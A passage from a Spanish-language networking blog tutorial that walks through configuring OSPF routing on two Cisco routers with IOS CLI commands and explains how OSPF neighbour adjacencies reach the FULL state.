*Mar  1 00:20:34.947: %OSPF-5-ADJCHG: Process 1, Nbr 1.1.1.1 on Serial0/0 from LOADING to FULL, Loading Done
R2(config-router)#network 192.168.1.128 0.0.0.31 area 0
R2(config-router)#exit

Por ultimo copiamos el archivo de configuración en ejecución al archivo de ejecución de inicio

R2#copy running-config st
R2#copy running-config startup-config
Destination filename [startup-config]? 
Building configuration...
[OK]

Ya esta configurado el Router 2 y como es de costumbre vamos a realizar algunas aclaraciones…

En una red y en un Router pueden ser configurados múltiples procesos de OSPF, por ello cada proceso OSPF debe ser identificado con un ID de proceso, de ahí que siempre usamos…

R2(config-if)#router ospf 1

Casi terminamos… Es hora de configurar el Router B, así que vamos a ello.

Direccionamiento:

R3#ena
R3#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
R3(config)#int fa0/0
R3(config-if)#ip add
R3(config-if)#ip address 192.168.1.65 255.255.255.224
R3(config-if)#no shu
R3(config-if)#
*Mar  1 00:02:34.975: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state to up
*Mar  1 00:02:35.975: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up
R3(config-if)#int se0/0                              
R3(config-if)#ip add
R3(config-if)#ip address 192.168.1.161 255.255.255.224
R3(config-if)#no shu
R3(config-if)#
*Mar  1 00:03:32.167: %LINK-3-UPDOWN: Interface Serial0/0, changed state to up
R3(config-if)#
*Mar  1 00:03:33.171: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0, changed state to up
R3(config-if)#int se0/1                               
R3(config-if)#ip add
R3(config-if)#ip address 192.168.1.158 255.255.255.224
R3(config-if)#no shu
R3(config-if)#
*Mar  1 00:04:22.167: %LINK-3-UPDOWN: Interface Serial0/1, changed state to up
*Mar  1 00:04:23.167: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/1, changed state to up
R3(config-if)#exit

OSPF config.

R3(config)#router ospf 1
R3(config-router)#router-id 3.3.3.3
R3(config-router)#net
R3(config-router)#network 192.168.1.64 0.0.0.31 area 0
R3(config-router)#network 192.168.1.128 0.0.0.31 area 0
R3(config-router)#
*Mar  1 00:08:13.639: %OSPF-5-ADJCHG: Process 1, Nbr 2.2.2.2 on Serial0/1 from LOADING to FULL, Loading Done
R3(config-router)#network 192.168.1.160 0.0.0.31 area 0
R3(config-router)#
*Mar  1 00:08:30.219: %OSPF-5-ADJCHG: Process 1, Nbr 1.1.1.1 on Serial0/0 from LOADING to FULL, Loading Done
R3(config-router)#end

Guardar las configuraciones.

R3#copy running-config st
R3#copy running-config startup-config
Destination filename [startup-config]? 
Building configuration...
[OK]
R3#

Listo!!!!

Pero antes de dar por finalizado, viene la tanda de aclaraciones ::)

No se si se habrán fijado en los avisos que van saltando a medida que vamos configurando OSPF, avisos como:

*Mar 1 00:20:34.947: %OSPF-5-ADJCHG: Process 1, Nbr 1.1.1.1 on Serial0/0 from LOADING to FULL, Loading Done
*Mar 1 00:08:30.219: %OSPF-5-ADJCHG: Process 1, Nbr 1.1.1.1 on Serial0/0 from LOADING to FULL, Loading Done
*Mar 1 00:08:13.639: %OSPF-5-ADJCHG: Process 1, Nbr 2.2.2.2 on Serial0/1 from LOADING to FULL, Loading Done

Ummmm…. Interesante no?

Pues OSPF como protocolo de enrutamiento dinámico necesita conocer sus vecinos, conocer sus tablas de enrutamiento, anunciar sus propias redes conectadas, etc… y para lograr ese fin crea algo llamado Adyacencias  basándose en una regla de saludos, solicitudes y acuses de recibo y cuando logra unificar las bases de datos de todos los router en su área de acción llega su estado FULL de convergencia, lo que en resumen significa que: 

“Todos los routers en un área especifica conocen totalmente la topologia de la red así como sus costos”

Para saber si los enrutadores han logrado la Full convergencia solo debemos escribir:

R1#show ip ospf neighbor

Y veremos:

Adyacencias R1

Adyacencias R2

Adyacencias R3

Y ahora si, listo!!!!

Saludos por allá blogueros y si les gusto recuerden seguir mi blog, así como mi cuenta de Twitter y mi pagina de Facebook.

Gracias.